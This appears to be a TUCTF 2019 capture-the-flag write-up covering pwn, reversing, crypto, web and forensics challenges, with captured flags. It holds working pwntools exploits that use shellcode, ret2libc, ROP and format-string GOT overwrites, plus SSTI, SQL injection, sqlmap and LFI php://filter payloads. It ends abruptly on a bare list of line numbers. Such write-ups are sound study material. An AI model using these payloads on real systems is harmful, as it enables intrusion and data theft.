Welcome :: Welcome
Validate the discord account and the Bot will send the flag.
TUCTF{W3lc0m3_70_TUCTF._H4v3_fun}
PWN :: runme
Run the binary and enter 'flag'.
TUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}
PWN :: thefirst
PLT segment is modified, thus Hex-Ray can't see the C pseudocode normally.
Let's take a look on gdb:
gdb-peda$</red> pd main
Dump of assembler code for function main:
0x0804921f <+0>: endbr32
0x08049223 <+4>: push ebp
0x08049224 <+5>: mov ebp,esp
0x08049226 <+7>: push ebx
0x08049227 <+8>: sub esp,0x10
0x0804922a <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x0804922f <+16>: add ebx,0x2dd1
0x08049235 <+22>: mov eax,DWORD PTR [ebx-0x4]
0x0804923b <+28>: mov eax,DWORD PTR [eax]
0x0804923d <+30>: push 0x14
0x0804923f <+32>: push 0x2
0x08049241 <+34>: push 0x0
0x08049243 <+36>: push eax
0x08049244 <+37>: call 0x80490d0 <setvbuf@plt>
0x08049249 <+42>: add esp,0x10
0x0804924c <+45>: mov eax,DWORD PTR [ebx-0x8]
0x08049252 <+51>: mov eax,DWORD PTR [eax]
0x08049254 <+53>: push 0x14
0x08049256 <+55>: push 0x2
0x08049258 <+57>: push 0x0
0x0804925a <+59>: push eax
0x0804925b <+60>: call 0x80490d0 <setvbuf@plt>
0x08049260 <+65>: add esp,0x10
0x08049263 <+68>: lea eax,[ebx-0x1fe4]
0x08049269 <+74>: push eax
0x0804926a <+75>: call 0x8049090 <printf@plt>
0x0804926f <+80>: add esp,0x4
0x08049272 <+83>: lea eax,[ebp-0x14]
0x08049275 <+86>: push eax
0x08049276 <+87>: call 0x80490a0 <gets@plt>
0x0804927b <+92>: add esp,0x4
0x0804927e <+95>: mov eax,0x0
0x08049283 <+100>: mov ebx,DWORD PTR [ebp-0x4]
0x08049286 <+103>: leave
0x08049287 <+104>: ret
End of assembler dump.
|
It calls gets and the argument is EBP-0x14, so RET in stack frame can be overwritten to the address of printFlag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./thefirst')
else :
p = connect('chal.tuctf.com', 30508)
def exploit() :
payload = 'A'*(0x14+4)
payload += p32(0x80491F6)
p.writeline(payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{0n3_d0wn..._50_m4ny_70_60}
PWN :: shellme32
Disassemble with gdb:
gdb-peda$ pd main
Dump of assembler code for function main:
0x0000120d <+0>: endbr32
0x00001211 <+4>: push ebp
0x00001212 <+5>: mov ebp,esp
0x00001214 <+7>: push ebx
0x00001215 <+8>: sub esp,0x20
0x00001218 <+11>: call 0x1110 <__x86.get_pc_thunk.bx>
0x0000121d <+16>: add ebx,0x2dab
0x00001223 <+22>: mov eax,DWORD PTR [ebx+0x2c]
0x00001229 <+28>: mov eax,DWORD PTR [eax]
0x0000122b <+30>: push 0x14
0x0000122d <+32>: push 0x2
0x0000122f <+34>: push 0x0
0x00001231 <+36>: push eax
0x00001232 <+37>: call 0x10c0 <setvbuf@plt>
0x00001237 <+42>: add esp,0x10
0x0000123a <+45>: mov eax,DWORD PTR [ebx+0x28]
0x00001240 <+51>: mov eax,DWORD PTR [eax]
0x00001242 <+53>: push 0x14
0x00001244 <+55>: push 0x2
0x00001246 <+57>: push 0x0
0x00001248 <+59>: push eax
0x00001249 <+60>: call 0x10c0 <setvbuf@plt>
0x0000124e <+65>: add esp,0x10
0x00001251 <+68>: lea eax,[ebp-0x24]
0x00001254 <+71>: push eax
0x00001255 <+72>: lea eax,[ebx-0x1fc0]
0x0000125b <+78>: push eax
0x0000125c <+79>: call 0x10a0 <printf@plt>
0x00001261 <+84>: add esp,0x8
0x00001264 <+87>: push 0x40
0x00001266 <+89>: lea eax,[ebp-0x24]
0x00001269 <+92>: push eax
0x0000126a <+93>: push 0x0
0x0000126c <+95>: call 0x1090 <read@plt>
0x00001271 <+100>: add esp,0xc
0x00001274 <+103>: mov eax,0x0
0x00001279 <+108>: mov ebx,DWORD PTR [ebp-0x4]
0x0000127c <+111>: leave
0x0000127d <+112>: ret
End of assembler dump.
|
The program prints the address EBP-0x24.
Also there is a few mapped areas with RWX permission:
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56558000 r-xp /media/sf_VMShare/TUCTF/shellme32
0x56558000 0x56559000 r-xp /media/sf_VMShare/TUCTF/shellme32
0x56559000 0x5655a000 rwxp /media/sf_VMShare/TUCTF/shellme32
0xf7dd6000 0xf7faf000 r-xp /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7faf000 0xf7fb0000 ---p /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb0000 0xf7fb2000 r-xp /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb2000 0xf7fb4000 rwxp /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb4000 0xf7fb6000 rwxp mapped
0xf7fce000 0xf7fd0000 rwxp mapped
0xf7fd0000 0xf7fd3000 r--p [vvar]
0xf7fd3000 0xf7fd4000 r-xp [vdso]
0xf7fd4000 0xf7ffb000 r-xp /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 r-xp /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 rwxp /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 rwxp [stack]
|
Write shellcode on stack and execute it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./shellme32')
else :
p = remote('chal.tuctf.com', 30506)
def exploit() :
p.readuntil('0x')
stack = int(p.read(8), 16)
print('[Exploit] EBP-0x24 = '+hex(stack))
payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80';
payload += 'A'*(0x24-len(payload)+4)
payload += p32(stack)
p.write(payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{4www..._b4by5_f1r57_3xpl017._h0w_cu73}
PWN :: shellme64
NX disabled.
Main disassembly:
gdb-peda$ pd main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: sub rsp,0x20
0x0000000000001195 <+12>: mov rax,QWORD PTR [rip+0x2e74] # 0x4010 <stdout@@GLIBC_2.2.5>
0x000000000000119c <+19>: mov ecx,0x14
0x00000000000011a1 <+24>: mov edx,0x2
0x00000000000011a6 <+29>: mov esi,0x0
0x00000000000011ab <+34>: mov rdi,rax
0x00000000000011ae <+37>: call 0x1090 <setvbuf@plt>
0x00000000000011b3 <+42>: mov rax,QWORD PTR [rip+0x2e66] # 0x4020 <stdin@@GLIBC_2.2.5>
0x00000000000011ba <+49>: mov ecx,0x14
0x00000000000011bf <+54>: mov edx,0x2
0x00000000000011c4 <+59>: mov esi,0x0
0x00000000000011c9 <+64>: mov rdi,rax
0x00000000000011cc <+67>: call 0x1090 <setvbuf@plt>
0x00000000000011d1 <+72>: lea rax,[rbp-0x20]
0x00000000000011d5 <+76>: mov rsi,rax
0x00000000000011d8 <+79>: lea rdi,[rip+0xe29] # 0x2008
0x00000000000011df <+86>: mov eax,0x0
0x00000000000011e4 <+91>: call 0x1070 <printf@plt>
0x00000000000011e9 <+96>: lea rax,[rbp-0x20]
0x00000000000011ed <+100>: mov edx,0x40
0x00000000000011f2 <+105>: mov rsi,rax
0x00000000000011f5 <+108>: mov edi,0x0
0x00000000000011fa <+113>: call 0x1080 <read@plt>
0x00000000000011ff <+118>: mov eax,0x0
0x0000000000001204 <+123>: leave
0x0000000000001205 <+124>: ret
End of assembler dump.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./shellme64')
else :
p = remote('chal.tuctf.com', 30507)
def exploit() :
p.readuntil('0x')
stack = int(p.readline()[:-1], 16)
print('[Exploit] RBP-0x20 = '+hex(stack))
payload = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload += 'A'*(0x20-len(payload)+8)
payload += p64(stack)
p.write(payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{54m3_5h3llc0d3,_ju57_m0r3_by735}
PWN :: leakalicious
I found libc version by brute-forcing of all libc databases... Don't know better solution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./leakalicious')
else :
p = connect('chal.tuctf.com', 30505)
def exploit() :
p.writeafter('> ', 'A'*0x20)
p.readuntil('... ')
puts_resolved = u32(p.readline()[0x20:0x24].ljust(4, '\x00'))
print('[Exploit] puts = '+hex(puts_resolved))
# libc6_2.23-0ubuntu11_i386
libc_base = puts_resolved-0x5FCA0
system_resolved = libc_base+0x3ADA0
str_bin_sh = libc_base+0x15BA0B
p.writeafter('> ', 'A')
payload = 'A'*(0x28+4)
payload += p32(system_resolved)
payload += 'A'*4
payload += p32(str_bin_sh)
p.writeafter('> ', payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{cl0udy_w17h_4_ch4nc3_0f_l1bc}
PWN :: 3step
Writing shellcode, but needs to be splited
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./3step')
else :
p = connect('chal.tuctf.com', 30504)
def exploit() :
p.readuntil('snacks\n')
bss = int(p.readline()[2:-1], 16)
stack = int(p.readline()[2:-1], 16)
print('[Exploit] bss = '+hex(bss))
print('[Exploit] stack = '+hex(stack))
shellcode1 = '\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\xE9'+p32(stack-bss-18)
shellcode2 = '\x89\xE3\x89\xC1\x89\xC2\xB0\x0B\xCD\x80\x31\xC0\x40\xCD\x80'
# [shellcode1]
# xor eax,eax
# push eax
# push 0x68732f2f
# push 0x6e69622f
# jmp (stack-bss-18) ; PIE Enabled -> EIP Relative Addressing
# [shellcode2]
# mov ebx,esp
# mov ecx,eax
# mov edx,eax
# mov al,0xb
# int 0x80
# xor eax,eax
# int eax
# int 0x80
p.writeafter('1: ', shellcode1)
p.writeafter('2: ', shellcode2)
p.writeafter('3: ', p32(bss))
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{4nd_4_0n3,_4nd_4_7w0,_4nd_5h3ll_f0r_y0u!}
PWN :: pancakes
Leak data(password) using ROP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./pancakes')
else :
p = connect('chal.tuctf.com', 30503)
def exploit() :
puts_plt = 0x8049060
payload = 'A'*(0x28+4)
payload += p32(puts_plt)
payload += p32(0x804901E) # pop ebx; ret;
payload += p32(0x804C060) # password
payload += p32(0x80492CD) # pwnme
p.write(payload)
p.readuntil('harder\n')
password = p.readline()[:-1]
print('[Exploit] password: '+password)
p.write(password)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{p4nc4k35_4r3_4b50lu73ly_d3l1c10u5_4nd_y0u_5h0uld_637_50m3_4f73r_7h15}
PWN :: printfun
Make password and buf both be zero-length. Input "%7$n%6$n", this will let both string empty.
TUCTF{wh47'5_4_pr1n7f_l1k3_y0u_d01n6_4_b1n4ry_l1k3_7h15?}
PWN :: vulnmath
Main concept: FSB
I can leak libc base by giving input "%23$p". The output is the address of __libc_start_main+249.
Since free is used at last and I can write any string where the argument pointer pointing, I tried to overwrite GOT of free to the address of system, using FSB.
Also, because of the length limit, I have to modify each 2 bytes seperately.
Below is the full exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vulnmath')
else :
p = connect('chal.tuctf.com', 30502)
def exploit() :
free_got = 0x804C014
p.writeafter('> ', '%23$p\x00')
p.readuntil('0x')
libc_base = int(p.readline()[:-1], 16)-249-0x1EEC0
system_resolved = libc_base+0x458B0
system_hiword = system_resolved >> 16
system_loword = system_resolved & 0xFFFF
print('[Exploit] libc_base = '+hex(libc_base))
print('[Exploit] system = '+hex(system_resolved)+' > '+hex(system_hiword)+' / '+hex(system_loword))
payload = p32(free_got)
payload += '%'+str(system_loword-4)+'c%6$n\x00'
p.writeafter('> ', payload)
payload = p32(free_got+2)
payload += '%'+str(system_hiword-4)+'c%6$n\x00'
p.writeafter('> ', payload)
p.writeafter('> ', '/bin/sh\x00')
p.writeafter('> ', '/bin/sh\x00')
p.writeafter('> ', '/bin/sh\x00')
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{I_w45_w4rn3d_4b0u7_pr1n7f..._bu7_I_d1dn'7_l1573n}
PWN :: ctftp
Get shell, flag is in /flags/flag.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./ctftp')
else :
p = connect('chal.tuctf.com', 30500)
def exploit() :
system_plt = 0x80490B0
p.writelineafter('name: ', '/bin/sh')
p.writelineafter('> ', '2')
payload = 'A'*(0x48+4)
payload += p32(system_plt)
payload += 'A'*4
payload += p32(0x804C080) # username
p.writeafter('filename: ', payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{f1l73r_f1r57_7h3y_541d._y0u'll_b3_53cur3_7h3y_541d}
Reversing :: faker
The function thisone() actually prints the real flag. Replace call A to call thisone in main.
TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}
Reversing :: object
It seems reversing encryption would be possible but I just brute-forced it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char flag[44] = "TUCTF{??????????????????????????????????????";
char command[128];
for (int i=6 ; i<43 ; i++) {
for (int c=33 ; c<128 ; c++) {
if (c==34 || c==36 || (c>=38 && c<=41) || c==59 || c==60 || c==62 || c==92 || c==96) continue;
flag[i] = c;
sprintf(command, "(echo %s | ./run) > output", flag);
system(command);
FILE *f = fopen("./output", "r");
char t[128];
int err_index;
do fscanf(f, "%s", t);
while (strcmp(t, "character:") != 0);
fscanf(f, "%d", &err_index);
fclose(f);
if (err_index != i) break;
}
}
flag[43] = '}';
printf("Flag: %s\n", flag);
return 0;
}
|
TUCTF{c0n6r47ul4710n5_0n_br34k1n6_7h15_fl46}
Reversing :: core
We can see that flag is encrypted by XOR with 1.
As the flag starts with "TUCTF", we have to find the string starting with "UTBUG" and there it is:
UTBUGzb1s2^etlq>^O2w2s^i25se^1g^x1t|
Decrypted text is the flag.
TUCTF{c0r3_dump?_N3v3r_h34rd_0f_y0u}
Crypto :: Something in Common
RSA Common Modulus Attack
Solve x₁e₁+x₂e₂=1 > x₁=-6, x₂=7
c₁⁻¹ (mod N) = 1094642727230174289421828907310932988036391919484377468810928082174397337248917624421294207018605528683201868391468235065053449684831268807855656077382001
c₁⁻⁶c₂⁷ (mod N) = m⁻⁷ᵉ¹⁺⁶ᵉ² (mod N) = m (mod N) = 41940789645289727383820108960015433601923863378896078867113927590694229643593486190334845
TUCTF{Y0U_SH0ULDNT_R3US3_TH3_M0DULUS}
Crypto :: Sonic
Simple caesar cipher, but needs automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
p = connect('chal.tuctf.com', 30100)
def shift(text, n) :
r = ''
for c in text :
r += chr((ord(c)-65+n)%26+65)
return r
def exploit() :
p.readuntil('this: ')
enc = p.readline()[:-1]
for i in range(26) :
p.writeline(shift(enc, i))
print(p.recv(1000))
p.interactive()
if __name__ == '__main__' :
exploit()
|
TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}
Crypto :: Warren
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
from pwn import *
import gmpy
def GCD(a, b) :
if b == 0 :
return a
return GCD(b, a%b)
def AffineSolver(text, max_slope=25, max_intercept=25) :
max_slope %= 26
max_intercept %= 26
for a in range(1, max_slope+1) :
if GCD(26, a) != 1 :
continue
invmod = 0
for t in range(1, 26) :
if (t*a)%26 == 1 :
invmod = t
break
if invmod == 0 :
raise Exception('Invalid slope value')
for b in range(1, max_intercept+1) :
r = ''
for c in text :
if c == ' ' :
r += ' '
continue
r += chr(((ord(c)-65-b)*invmod)%26+65)
print('[Affine] Slope=%d, Intercept=%d > '%(a, b)+r)
def BaconianSolver(text) :
r = ''
for sb in text.split() :
for i in range(len(sb)/5) :
d = int(sb[i*5:(i+1)*5].replace('a', '0').replace('b', '1'), 2)
if d >= 19 : d += 2
elif d >= 8 : d += 1
r += chr(d+65)
r += ' '
print('[Baconian] Text > '+r[:-1])
def CaesarSolver(text, max_shift=25) :
max_shift %= 26
for k in range(1, max_shift+1) :
r = ''
for c in text :
if c == ' ':
r += ' '
continue
r += chr((ord(c)-65-k)%26+65)
print('[Caesar] Key=%d > '%k+r)
def AtbashSolver(text) :
r = ''
for c in text :
if c == ' ' : r += ' '
else : r += chr(155-ord(c))
print('[Atbash] Text > '+r)
if __name__ == '__main__' :
AffineSolver('UBBAHK AO U LUT CAPJKX') # grep "AFFINE"
BaconianSolver('aaaabaaaaaaaabaabbababbaaabaaaaaaaaabbaa abaaabaaab aabaaabbaaabaaaabbabbabbaaaaaaaaaabababaaabaa')
CaesarSolver('WUYMUL CM UH YUMS WCJBYL') # grep "CAESAR"
AtbashSolver('ZGYZHS RH Z UFM XRKSVI')
|
1. Affine > AFFINE IS A BAD CIPHER (slope=17, intercept=20)
2. Baconian > BACONIAN IS ENJOYABLE
3. Caesar > CAESAR IS AN EASY CIPHER (key=20)
4. Atbash > ATBASH IS A FUN CIPHER
5. Vigenere > VIGENERE IS A HARD CIPHER (key=tuctf (repeat) ; guessing game LOL)
TUCTF{th4nks_f0r_d1n1ng_4641n_4t_th3_W4rr3n_buff3t}
Web :: Open Door
See page source.
TUCTF{f1r5t_fl46_345135t_fl46}
Web :: Test Test Test
Normal user can access to /img, and there are 2 files; TEST.jpg and TODO.txt.
TODO.txt says:
1. Get rid of directory (bit.ly = love, bit.ly = life)
2. Move the flag from flag.php
|
So let's go to flag.php and what it says: (Response needs to be intercepted, otherwise it will instantly redirect to index.html)
TODO: put more stuff here before the test
Then print the flag TUCTF{d0nt_l34v3_y0ur_d1r3ct0ry_h4n61n6}
|
TUCTF{d0nt_l34v3_y0ur_d1r3ct0ry_h4n61n6}
Web :: Router Where Art You?
3 pages exist: 0.html, 1.html, 2.html
Find default login configuration.
0.html
Fortinet > https://help.fortinet.com/fweb/551/Content/FortiWeb/fortiweb-admin/connecting_gui_cli.htm
Username='admin', Password=''
1.html
Username='admin', Password='password'
2.html
Username='admin', Password='admin'
TUCTF{y0u_f0und_th3_fun_r0ut3r_d3f4ult5}
Web :: And Now, For Something Completely Different
See source, it says /welcome/test page does exist.
With a few attempts /welcome/[] prints Welcome [], however SSTI is possible and it's made in Python apparently.
Try /welcome/{{__import__('os').listdir();}} and we can find flag.txt.
Now read it: /welcome/{{open('flag.txt','r').read()}}
TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}
Web :: Login to Access
Download /login.php.back, there is the flag.
TUCTF{b4ckup5_0f_php?_1t5_m0r3_c0mm0n_th4n_y0u_th1nk}
SQL Injection does work, so use sqlmap.
$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql --dbs
[00:19:19] [INFO] retrieved: information_schema
[00:24:42] [INFO] retrieved: challenge
[00:27:25] [INFO] retrieved: mysql
[00:29:08] [INFO] retrieved: performance_schema
[00:35:01] [INFO] retrieved: sys
available databases [5]:
[*] challenge
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
|
$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql -D challenge --tables
[00:39:53] [INFO] fetching tables for database: 'challenge'
[00:39:53] [INFO] fetching number of tables for database 'challenge'
[00:39:53] [INFO] retrieved: 1
[00:39:56] [INFO] retrieved: users
Database: challenge
[1 table]
+-------+
| users |
+-------+
|
$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql -D challenge -T users --columns
[00:44:44] [INFO] fetching columns for table 'users' in database 'challenge'
[00:44:23] [INFO] retrieved: user
[00:45:39] [INFO] retrieved: varchar(20)
[00:48:30] [INFO] retrieved: password
[00:50:37] [INFO] retrieved: varchar(50)
Database: challenge
Table: users
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | varchar(20) |
| password | varchar(50) |
+----------+-------------+
|
Web :: The Droid You're Looking For
robots.txt says that I need another User Agent to look the page normally.
Replace its value to Googlebot Smartphone Crawler.
GET /robots.txt HTTP/1.1
Host: chal.tuctf.com:30003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "36-597d6a86c0400"
If-Modified-Since: Thu, 21 Nov 2019 07:58:08 GMT
Connection: close
|
And response is:
HTTP/1.1 200 OK
Date: Sun, 01 Dec 2019 07:14:00 GMT
Server: Apache/2.4.41 (Unix)
Last-Modified: Thu, 21 Nov 2019 07:58:08 GMT
ETag: "36-597d6a86c0400"
Accept-Ranges: bytes
Content-Length: 54
Connection: close
Content-Type: text/plain
User-agent: *
Disallow: googleagentflagfoundhere.html
|
TUCTF{463nt_6006l3_r3p0rt1n6_4_r0b0t}
Web :: Cute Animals Company
There is a cookie "allowed=ZmFsc2U=". Change it to "allowed=dHJ1ZQ==" and go to login.php.
Try user="a" and password="'OR'1'='1", I can see userdata that is user="bro" and password="ultimate699".
Join with the credential above, it leads to portal.php.
It sends input value as "file" by GET. Seems LFI and PHP wrapper would work, so I tried php://filter/convert.base64-encode/resource=/etc/passwd and received this:
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpUVUNURnttMHIzX2N1dDNfNG4xbTQxNV9jNG5fYjNfZjB1bmRfNHRfaHR0cHM6Ly9iaXQubHkvMUhVMm01UX0K
|
Text decoded from BASE64 is:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
TUCTF{m0r3_cut3_4n1m415_c4n_b3_f0und_4t_https://bit.ly/1HU2m5Q}
|
TUCTF{m0r3_cut3_4n1m415_c4n_b3_f0und_4t_https://bit.ly/1HU2m5Q}
Web :: And Now, For Something Similar
From the previous challenge; Login to Access, I know the SQL query:
SELECT * FROM users WHERE user='$username' AND password='$password'
|
With some test cases, I found that UNION, SELECT, and '(single quote) is being filtered.
Mega :: Cup of Joe: The Server
Request /teapot by BREW, the server response would be like this:
HTCPCP/1.0 418 I'm a teapot. Go to /broken.zip
Server: JavaServer
Content-Length: 0
Content-Type: Short and stout
|
Download /broken.zip and flag is in flag.txt.
TUCTF{d0_y0u_cr4v3_th3_418}
Mega :: Broken
Given filesystem (Linux rev 1.0 ext4) is seemingly broken, so fix it with fsck.
syine@MinetaLinux:/media/sf_VMShare/TUCTF$ fsck.ext4 broken.img
e2fsck 1.44.6 (5-Mar-2019)
Superblock has an invalid journal (inode 8).
Clear<y>? yes
*** journal has been deleted ***
Resize inode not valid. Recreate<y>? yes
Pass 1: Checking inodes, blocks, and sizes
Root inode is not a directory. Clear<y>? yes
Pass 2: Checking directory structure
Entry '..' in <2>/<65281> (65281) has deleted/unused inode 2. Clear<y>? yes
Pass 3: Checking directory connectivity
Root inode not allocated. Allocate<y>? yes
Unconnected directory inode 65281 (...)
Connect to /lost+found<y>? yes
/lost+found not found. Create<y>? yes
Pass 4: Checking reference counts
Inode 65281 ref count is 3, should be 2. Fix<y>? yes
Pass 5: Checking group summary information
Block bitmap differences: +(1--263) +(278--279) +(294--803) +4376 +(8193--8995) +(10241--12288) -(139265--147456)
Fix<y>? yes
Free blocks count wrong for group #0 (3815, counted=3816).
Fix ('a' enables 'yes' to all) <y>? yes
Free blocks count wrong for group #17 (0, counted=8192).
Fix ('a' enables 'yes' to all) <y>? yes
Free blocks count wrong (447209, counted=455402).
Fix ('a' enables 'yes' to all) <y>? yes
Inode bitmap differences: +1 +(3--10)
Fix ('a' enables 'yes' to all) <y>? yes
Recreate journal<y>? yes
Creating journal (8192 blocks): Done.
*** journal has been regenerated ***
broken.img: ***** FILE SYSTEM WAS MODIFIED *****
broken.img: 197/122400 files (0.5% non-contiguous), 41070/488280 blocks
|
Mounted device name is lost+found, and in /#65281 there is broken_flag.txt.
TUCTF{D1S4ST3R_R3C0V3RY}
Mega :: rop me like a hurricane
Binary is /#65281/rop_me_like_a_hurricane and the information of the challenge server is in the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
